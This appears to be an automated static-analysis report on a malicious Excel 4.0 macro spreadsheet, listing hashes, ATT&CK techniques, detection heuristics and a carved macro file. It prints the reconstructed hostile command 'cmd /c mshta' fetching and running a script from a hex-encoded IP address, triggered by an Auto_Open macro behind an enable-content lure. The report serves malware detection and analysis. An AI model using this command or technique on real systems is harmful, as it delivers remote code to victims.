Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 21c6e98f00a02035…

MALICIOUS

Office (OLE) / .XLS

65.9 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 821d6b5e842c0e874f0befd8e9fa86b3 SHA-1: 116ca56b0ca8d088a4dd9756e90734391b7a78cd SHA-256: 21c6e98f00a02035f9daf50d1e5933e90eadab098f645cfbd18f0692eb241acc
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: User Execution: Malicious File T1059.003 Command and Scripting Interpreter: Windows Command Shell

The sample is an Excel 4.0 macro-enabled spreadsheet. It contains an Auto_Open macro that is configured to execute a command. The command reconstructs to 'cmd /c mshta http://0xc12a24f5/cc.html', which indicates that it will download and execute a script from the specified URL using mshta. The document body also contains a lure to enable editing and content, which is a common tactic for macro-based malware delivery.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes